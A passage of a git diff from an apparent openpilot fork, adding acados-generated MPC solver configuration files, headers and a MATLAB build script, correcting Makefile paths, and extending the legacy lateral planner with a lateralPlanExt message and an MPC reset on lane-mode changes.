"qp_solver_tol_ineq": null, + "qp_solver_tol_stat": null, + "qp_solver_warm_start": 0, + "regularize_method": null, + "sim_method_jac_reuse": [ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + ], + "sim_method_newton_iter": 3, + "sim_method_num_stages": [ + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4 + ], + "sim_method_num_steps": [ + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1 + ], + "tf": 2.5, + "time_steps": [ + 0.009765625, + 0.029296875, + 0.048828125, + 0.068359375, + 0.087890625, + 0.107421875, + 0.126953125, + 0.146484375, + 0.166015625, + 0.185546875, + 0.205078125, + 0.224609375, + 0.244140625, + 0.263671875, + 0.283203125, + 0.302734375 + ] + } +} \ No newline at end of file diff --git a/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/Makefile b/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/Makefile index 70700fdf0..b75278567 100644 --- a/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/Makefile +++ b/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/Makefile @@ -80,8 +80,8 @@ OBJ+= $(OCP_OBJ) EXTERNAL_DIR= EXTERNAL_LIB= -INCLUDE_PATH = /data/openpilot/third_party/acados/include/acados/include -LIB_PATH = /data/openpilot/third_party/acados/include/acados/lib +INCLUDE_PATH = /data/openpilot/third_party/acados/include +LIB_PATH = /data/openpilot/third_party/acados/lib # preprocessor flags for make's implicit rules CPPFLAGS+= -I$(INCLUDE_PATH) diff --git a/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/acados_sim_solver_lat.h b/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/acados_sim_solver_lat.h new file mode 100644 index 000000000..86b9c84c9 --- /dev/null +++ b/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/acados_sim_solver_lat.h @@ -0,0 +1,103 @@ +/* + * Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, + * Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, + * Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, + * Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl + * + * This file is part of acados. + * + * The 2-Clause BSD License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE.; + */ + +#ifndef ACADOS_SIM_lat_H_ +#define ACADOS_SIM_lat_H_ + +#include "acados_c/sim_interface.h" +#include "acados_c/external_function_interface.h" + +#define LAT_NX 4 +#define LAT_NZ 0 +#define LAT_NU 1 +#define LAT_NP 2 + +#ifdef __cplusplus +extern "C" { +#endif + + +// ** capsule for solver data ** +typedef struct sim_solver_capsule +{ + // acados objects + sim_in *acados_sim_in; + sim_out *acados_sim_out; + sim_solver *acados_sim_solver; + sim_opts *acados_sim_opts; + sim_config *acados_sim_config; + void *acados_sim_dims; + + /* external functions */ + // ERK + external_function_param_casadi * sim_forw_vde_casadi; + external_function_param_casadi * sim_expl_ode_fun_casadi; + external_function_param_casadi * sim_expl_ode_hess; + + // IRK + external_function_param_casadi * sim_impl_dae_fun; + external_function_param_casadi * sim_impl_dae_fun_jac_x_xdot_z; + external_function_param_casadi * sim_impl_dae_jac_x_xdot_u_z; + external_function_param_casadi * sim_impl_dae_hess; + + // GNSF + external_function_param_casadi * sim_gnsf_phi_fun; + external_function_param_casadi * sim_gnsf_phi_fun_jac_y; + external_function_param_casadi * sim_gnsf_phi_jac_y_uhat; + external_function_param_casadi * sim_gnsf_f_lo_jac_x1_x1dot_u_z; + external_function_param_casadi * sim_gnsf_get_matrices_fun; + +} sim_solver_capsule; + + +ACADOS_SYMBOL_EXPORT int lat_acados_sim_create(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int lat_acados_sim_solve(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int lat_acados_sim_free(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int lat_acados_sim_update_params(sim_solver_capsule *capsule, double *value, int np); + +ACADOS_SYMBOL_EXPORT sim_config * lat_acados_get_sim_config(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_in * lat_acados_get_sim_in(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_out * lat_acados_get_sim_out(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT void * lat_acados_get_sim_dims(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_opts * lat_acados_get_sim_opts(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_solver * lat_acados_get_sim_solver(sim_solver_capsule *capsule); + + +ACADOS_SYMBOL_EXPORT sim_solver_capsule * lat_acados_sim_solver_create_capsule(void); +ACADOS_SYMBOL_EXPORT int lat_acados_sim_solver_free_capsule(sim_solver_capsule *capsule); + +#ifdef __cplusplus +} +#endif + +#endif // ACADOS_SIM_lat_H_ diff --git a/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/make_sfun_lat.m b/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/make_sfun_lat.m new file mode 100644 index 000000000..30301675c --- /dev/null +++ b/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code/make_sfun_lat.m @@ -0,0 +1,125 @@ +% +% Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, +% Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, +% Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, +% Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl +% +% This file is part of acados. +% +% The 2-Clause BSD License +% +% Redistribution and use in source and binary forms, with or without +% modification, are permitted provided that the following conditions are met: +% +% 1. Redistributions of source code must retain the above copyright notice, +% this list of conditions and the following disclaimer. +% +% 2. Redistributions in binary form must reproduce the above copyright notice, +% this list of conditions and the following disclaimer in the documentation +% and/or other materials provided with the distribution. +% +% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +% AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +% IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +% ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +% LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +% CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +% SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +% INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +% CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +% ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +% POSSIBILITY OF SUCH DAMAGE.; +% + +SOURCES = { ... + 'lat_model/lat_expl_ode_fun.c', ... + 'lat_model/lat_expl_vde_forw.c',... + 'lat_cost/lat_cost_y_0_fun.c',... + 'lat_cost/lat_cost_y_0_fun_jac_ut_xt.c',... + 'lat_cost/lat_cost_y_0_hess.c',... + 'lat_cost/lat_cost_y_fun.c',... + 'lat_cost/lat_cost_y_fun_jac_ut_xt.c',... + 'lat_cost/lat_cost_y_hess.c',... + 'lat_cost/lat_cost_y_e_fun.c',... + 'lat_cost/lat_cost_y_e_fun_jac_ut_xt.c',... + 'lat_cost/lat_cost_y_e_hess.c',... + 'acados_solver_sfunction_lat.c', ... + 'acados_solver_lat.c' + }; + +INC_PATH = '/data/openpilot/third_party/acados/include'; + +INCS = {['-I', fullfile(INC_PATH, 'blasfeo', 'include')], ... + ['-I', fullfile(INC_PATH, 'hpipm', 'include')], ... + ['-I', fullfile(INC_PATH, 'acados')], ... + ['-I', fullfile(INC_PATH)]}; + + + +CFLAGS = 'CFLAGS=$CFLAGS'; +LDFLAGS = 'LDFLAGS=$LDFLAGS'; +COMPFLAGS = 'COMPFLAGS=$COMPFLAGS'; +COMPDEFINES = 'COMPDEFINES=$COMPDEFINES'; + + + +LIB_PATH = ['-L', fullfile('/data/openpilot/third_party/acados/lib')]; + +LIBS = {'-lacados', '-lhpipm', '-lblasfeo'}; + +% acados linking libraries and flags + + +mex('-v', '-O', CFLAGS, LDFLAGS, COMPFLAGS, COMPDEFINES, INCS{:}, ... + LIB_PATH, LIBS{:}, SOURCES{:}, ... + '-output', 'acados_solver_sfunction_lat' ); + +fprintf( [ '\n\nSuccessfully created sfunction:\nacados_solver_sfunction_lat', '.', ... + eval('mexext')] ); + + +%% print note on usage of s-function +fprintf('\n\nNote: Usage of Sfunction is as follows:\n') +input_note = 'Inputs are:\n'; +i_in = 1; +input_note = strcat(input_note, num2str(i_in), ') lbx_0 - lower bound on x for stage 0,',... + ' size [4]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') ubx_0 - upper bound on x for stage 0,',... + ' size [4]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') parameters - concatenated for all shooting nodes 0 to N+1,',... + ' size [34]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref_0, size [3]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref - concatenated for shooting nodes 1 to N-1,',... + ' size [45]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref_e, size [2]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') lbx for shooting nodes 1 to N-1, size [30]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') ubx for shooting nodes 1 to N-1, size [30]\n '); +i_in = i_in + 1; + +fprintf(input_note) + +disp(' ') + +output_note = 'Outputs are:\n'; +i_out = 0; +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') u0, control input at node 0, size [1]\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') acados solver status (0 = SUCCESS)\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') KKT residual\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') x1, state at node 1\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') CPU time\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') SQP iterations\n '); + +fprintf(output_note) diff --git a/selfdrive/controls/lib/legacy_lateral_planner.py b/selfdrive/controls/lib/legacy_lateral_planner.py index 1cf26e8c8..d86aa0a0f 100644 --- a/selfdrive/controls/lib/legacy_lateral_planner.py +++ b/selfdrive/controls/lib/legacy_lateral_planner.py @@ -25,11 +25,12 @@ STEER_RATE_COST = { } class LateralPlanner: - def __init__(self, CP): + def __init__(self, CP, debug=False): self.LP = LanePlanner() self.DH = DesireHelper() - self.dp_lat_lane_priority_mode = Params().get_bool("dp_lat_lane_priority_mode") - self.dp_lat_lane_priority_mode_active = False + self._dp_lat_lane_priority_mode = Params().get_bool("dp_lat_lane_priority_mode") + self._dp_lat_lane_priority_mode_active = False + self._dp_lat_lane_priority_mode_active_prev = False self.last_cloudlog_t = 0 try: @@ -43,6 +44,8 @@ class LateralPlanner: self.plan_yaw = np.zeros((TRAJECTORY_SIZE,)) self.t_idxs = np.arange(TRAJECTORY_SIZE) self.y_pts = np.zeros(TRAJECTORY_SIZE) + # dp // mapd - for vision turn controller + self._d_path_w_lines_xyz = np.zeros((TRAJECTORY_SIZE, 3)) self.lat_mpc = LateralMpc() self.reset_mpc(np.zeros(4)) @@ -76,9 +79,9 @@ class LateralPlanner: # dp - check laneline prob when priority is on use_laneline = False - if self.dp_lat_lane_priority_mode: + if self._dp_lat_lane_priority_mode: self._update_laneless_laneline_mode() - use_laneline = self.dp_lat_lane_priority_mode_active + use_laneline = self._dp_lat_lane_priority_mode_active # Calculate final driving path and set MPC costs if use_laneline: @@ -91,6 +94,8 @@ class LateralPlanner: heading_cost = interp(v_ego, [5.0, 10.0], [MPC_COST_LAT.HEADING, 0.0]) self.lat_mpc.set_weights(path_cost, heading_cost, self.steer_rate_cost) + self._d_path_w_lines_xyz = d_path_xyz + y_pts = np.interp(v_ego * self.t_idxs[:LAT_MPC_N + 1], np.linalg.norm(d_path_xyz, axis=1), d_path_xyz[:, 1]) heading_pts = np.interp(v_ego * self.t_idxs[:LAT_MPC_N + 1], np.linalg.norm(self.path_xyz, axis=1), self.plan_yaw) self.y_pts = y_pts @@ -140,16 +145,30 @@ class LateralPlanner: lateralPlan.solverExecutionTime = self.lat_mpc.solve_time lateralPlan.desire = self.DH.desire - lateralPlan.useLaneLines = self.dp_lat_lane_priority_mode and self.dp_lat_lane_priority_mode_active + lateralPlan.useLaneLines = self._dp_lat_lane_priority_mode and self._dp_lat_lane_priority_mode_active lateralPlan.laneChangeState = self.DH.lane_change_state lateralPlan.laneChangeDirection = self.DH.lane_change_direction pm.send('lateralPlan', plan_send) + # dp - extension + plan_ext_send = messaging.new_message('lateralPlanExt') + + lateralPlanExt = plan_ext_send.lateralPlanExt + # for vision turn controller + lateralPlanExt.dPathWLinesX = [float(x) for x in self._d_path_w_lines_xyz[:, 0]] + lateralPlanExt.dPathWLinesY = [float(y) for y in self._d_path_w_lines_xyz[:, 1]] + + pm.send('lateralPlanExt', plan_ext_send) def _update_laneless_laneline_mode(self): # decide what mode should we use if (self.LP.lll_prob + self.LP.rll_prob)/2 < 0.3: - self.dp_lat_lane_priority_mode_active = False + self._dp_lat_lane_priority_mode_active = False if (self.LP.lll_prob + self.LP.rll_prob)/2 > 0.5: - self.dp_lat_lane_priority_mode_active = True \ No newline at end of file + self._dp_lat_lane_priority_mode_active = True + + # perform reset mpc + if self._dp_lat_lane_priority_mode_active != self._dp_lat_lane_priority_mode_active_prev: + self.reset_mpc() + self._dp_lat_lane_priority_mode_active_prev = self._dp_lat_lane_priority_mode_active diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/acados_ocp_long.json b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/acados_ocp_long.json new file mode 100644 index 000000000..da2a961df --- /dev/null +++ b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/acados_ocp_long.json @@ -0,0 +1,627 @@ +{ + "acados_include_path": "/data/openpilot/third_party/acados/include", + "acados_lib_path": "/data/openpilot/third_party/acados/lib", + "code_export_directory": "/data/openpilot/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code", + "constraints": { + "C": [], + "C_e": [], + "D": [], + "constr_type": "BGH", + "constr_type_e": "BGH", + "idxbu": [], + "idxbx": [], + "idxbx_0": [ + 0, + 1, + 2 + ], + "idxbx_e": [], + "idxbxe_0": [ + 0, + 1, + 2 + ], + "idxsbu": [], + "idxsbx": [], + "idxsbx_e": [], + "idxsg": [], + "idxsg_e": [], + "idxsh": [ + 0, + 1, + 2, + 3 + ], + "idxsh_e": [], + "idxsphi": [], + "idxsphi_e": [], + "lbu": [], + "lbx": [], + "lbx_0": [ + 0.0, + 0.0, + 0.0 + ], + "lbx_e": [], + "lg": [], + "lg_e": [], + "lh": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "lh_e": [], + "lphi": [], + "lphi_e": [], + "lsbu": [], + "lsbx": [], + "lsbx_e": [], + "lsg": [], + "lsg_e": [], + "lsh": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "lsh_e": [], + "lsphi": [], + "lsphi_e": [], + "ubu": [], + "ubx": [], + "ubx_0": [ + 0.0, + 0.0, + 0.0 + ], + "ubx_e": [], + "ug": [], + "ug_e": [], + "uh": [ + 10000.0, + 10000.0, + 10000.0, + 10000.0 + ], + "uh_e": [], + "uphi": [], + "uphi_e": [], + "usbu": [], + "usbx": [], + "usbx_e": [], + "usg": [], + "usg_e": [], + "ush": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "ush_e": [], + "usphi": [], + "usphi_e": [] + }, + "cost": { + "Vu": [ + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ] + ], + "Vu_0": [ + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ] + ], + "Vx": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "Vx_0": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "Vx_e": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "Vz": [], + "Vz_0": [], + "W": [ + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "W_0": [ + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "W_e": [ + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "Zl": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "Zl_e": [], + "Zu": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "Zu_e": [], + "cost_ext_fun_type": "casadi", + "cost_ext_fun_type_0": "casadi", + "cost_ext_fun_type_e": "casadi", + "cost_type": "NONLINEAR_LS", + "cost_type_0": "NONLINEAR_LS", + "cost_type_e": "NONLINEAR_LS", + "yref": [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + "yref_0": [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + "yref_e": [ + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + ], + "zl": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "zl_e": [], + "zu": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "zu_e": [] + }, + "cython_include_dirs": "/data/data/com.termux/files/usr/lib/python3.8/site-packages/numpy/core/include", + "dims": { + "N": 12, + "nbu": 0, + "nbx": 0, + "nbx_0": 3, + "nbx_e": 0, + "nbxe_0": 3, + "ng": 0, + "ng_e": 0, + "nh": 4, + "nh_e": 0, + "np": 6, + "nphi": 0, + "nphi_e": 0, + "nr": 0, + "nr_e": 0, + "ns": 4, + "ns_e": 0, + "nsbu": 0, + "nsbx": 0, + "nsbx_e": 0, + "nsg": 0, + "nsg_e": 0, + "nsh": 4, + "nsh_e": 0, + "nsphi": 0, + "nsphi_e": 0, + "nu": 1, + "nx": 3, + "ny": 6, + "ny_0": 6, + "ny_e": 5, + "nz": 0 + }, + "model": { + "dyn_disc_fun": null, + "dyn_disc_fun_jac": null, + "dyn_disc_fun_jac_hess": null, + "dyn_ext_fun_type": "casadi", + "dyn_source_discrete": null, + "gnsf": { + "nontrivial_f_LO": 1, + "purely_linear": 0 + }, + "name": "long" + }, + "parameter_values": [ + -1.2, + 1.2, + 0.0, + 0.0, + 1.45, + 6.0 + ], + "problem_class": "OCP", + "simulink_opts": { + "inputs": { + "cost_W": 0, + "cost_W_0": 0, + "cost_W_e": 0, + "lbu": 1, + "lbx": 1, + "lbx_0": 1, + "lbx_e": 1, + "lg": 1, + "lh": 1, + "parameter_traj": 1, + "reset_solver": 0, + "u_init": 0, + "ubu": 1, + "ubx": 1, + "ubx_0": 1, + "ubx_e": 1, + "ug": 1, + "uh": 1, + "x_init": 0, + "y_ref": 1, + "y_ref_0": 1, + "y_ref_e": 1 + }, + "outputs": { + "CPU_time": 1, + "CPU_time_lin": 0, + "CPU_time_qp": 0, + "CPU_time_sim": 0, + "KKT_residual": 1, + "solver_status": 1, + "sqp_iter": 1, + "u0": 1, + "utraj": 0, + "x1": 1, + "xtraj": 0 + }, + "samplingtime": "t0" + }, + "solver_options": { + "Tsim": 0.059171597633136105, + "alpha_min": 0.05, + "alpha_reduction": 0.7, + "collocation_type": "GAUSS_LEGENDRE", + "eps_sufficient_descent": 0.0001, + "exact_hess_constr": 1, + "exact_hess_cost": 1, + "exact_hess_dyn": 1, + "ext_cost_num_hess": 0, + "full_step_dual": 0, + "globalization": "FIXED_STEP", + "globalization_use_SOC": 0, + "hessian_approx": "GAUSS_NEWTON", + "hpipm_mode": "BALANCE", + "initialize_t_slacks": 0, + "integrator_type": "ERK", + "levenberg_marquardt": 0.0, + "line_search_use_sufficient_descent": 0, + "model_external_shared_lib_dir": null, + "model_external_shared_lib_name": null, + "nlp_solver_max_iter": 100, + "nlp_solver_step_length": 1.0, + "nlp_solver_tol_comp": 1e-06, + "nlp_solver_tol_eq": 1e-06, + "nlp_solver_tol_ineq": 1e-06, + "nlp_solver_tol_stat": 1e-06, + "nlp_solver_type": "SQP_RTI", + "print_level": 0, + "qp_solver": "PARTIAL_CONDENSING_HPIPM", + "qp_solver_cond_N": 1, + "qp_solver_iter_max": 10, + "qp_solver_tol_comp": 0.001, + "qp_solver_tol_eq": 0.001, + "qp_solver_tol_ineq": 0.001, + "qp_solver_tol_stat": 0.001, + "qp_solver_warm_start": 0, + "regularize_method": null, + "sim_method_jac_reuse": [ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + ], + "sim_method_newton_iter": 3, + "sim_method_num_stages": [ + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4 + ], + "sim_method_num_steps": [ + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1 + ], + "tf": 8.520710059171599, + "time_steps": [ + 0.059171597633136105, + 0.1775147928994083, + 0.2958579881656805, + 0.4142011834319528, + 0.5325443786982247, + 0.6508875739644973, + 0.7692307692307687, + 0.8875739644970424, + 1.005917159763312, + 1.1242603550295867, + 1.2426035502958577, + 1.3609467455621314 + ] + } +} \ No newline at end of file diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/Makefile b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/Makefile index 2cc5ba700..a95fcf8be 100644 --- a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/Makefile +++ b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/Makefile @@ -82,8 +82,8 @@ OBJ+= $(OCP_OBJ) EXTERNAL_DIR= EXTERNAL_LIB= -INCLUDE_PATH = /data/openpilot/third_party/acados/include/acados/include -LIB_PATH = /data/openpilot/third_party/acados/include/acados/lib +INCLUDE_PATH = /data/openpilot/third_party/acados/include +LIB_PATH = /data/openpilot/third_party/acados/lib # preprocessor flags for make's implicit rules CPPFLAGS+= -I$(INCLUDE_PATH) diff --git a/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_sim_solver_long.h b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_sim_solver_long.h new file mode 100644 index 000000000..ea0e04c49 --- /dev/null +++ b/selfdrive/controls/lib/legacy_longitudinal_mpc_lib/c_generated_code/acados_sim_solver_long.h @@ -0,0 +1,103 @@ +/* + * Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, + * Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, + * Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, + * Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl + * + * This file is part of acados. + * + * The 2-Clause BSD License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE.; + */ + +#ifndef ACADOS_SIM_long_H_ +#define ACADOS_SIM_long_H_ + +#include "acados_c/sim_interface.h" +#include "acados_c/external_function_interface.h" + +#define LONG_NX 3 +#define LONG_NZ 0 +#define LONG_NU 1 +#define LONG_NP 6 + +#ifdef __cplusplus +extern "C" { +#endif + + +// ** capsule for solver data ** +typedef struct sim_solver_capsule +{ + // acados objects + sim_in *acados_sim_in; + sim_out *acados_sim_out; + sim_solver *acados_sim_solver; + sim_opts *acados_sim_opts; + sim_config *acados_sim_config; + void *acados_sim_dims; + + /* external functions */ + // ERK + external_function_param_casadi * sim_forw_vde_casadi; + external_function_param_casadi * sim_expl_ode_fun_casadi; + external_function_param_casadi * sim_expl_ode_hess; + + // IRK + external_function_param_casadi * sim_impl_dae_fun; + external_function_param_casadi * sim_impl_dae_fun_jac_x_xdot_z; + external_function_param_casadi * sim_impl_dae_jac_x_xdot_u_z; + external_function_param_casadi * sim_impl_dae_hess; + + // GNSF + external_function_param_casadi * sim_gnsf_phi_fun; + external_function_param_casadi * sim_gnsf_phi_fun_jac_y; + external_function_param_casadi * sim_gnsf_phi_jac_y_uhat; + external_function_param_casadi * sim_gnsf_f_lo_jac_x1_x1dot_u_z; + external_function_param_casadi * sim_gnsf_get_matrices_fun; + +} sim_solver_capsule; + + +ACADOS_SYMBOL_EXPORT int long_acados_sim_create(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int long_acados_sim_solve(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int 